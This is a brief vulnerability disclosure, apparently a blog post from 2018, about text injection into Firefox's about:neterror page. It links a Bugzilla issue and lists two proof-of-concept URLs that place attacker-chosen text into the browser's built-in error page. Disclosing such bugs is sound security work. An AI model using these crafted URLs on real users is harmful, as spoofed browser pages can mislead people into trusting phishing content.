September 14, 2018

Firefox About page html injection

Issue:

https://bugzilla.mozilla.org/show_bug.cgi?id=1339330

The PoC:

about:neterror?e=deniedPortAccess&u=https://google.com/&d=fake firefox!!

about:neterror?e=malformedURI&u=about:&c=&f=regular&d=fake firefox!!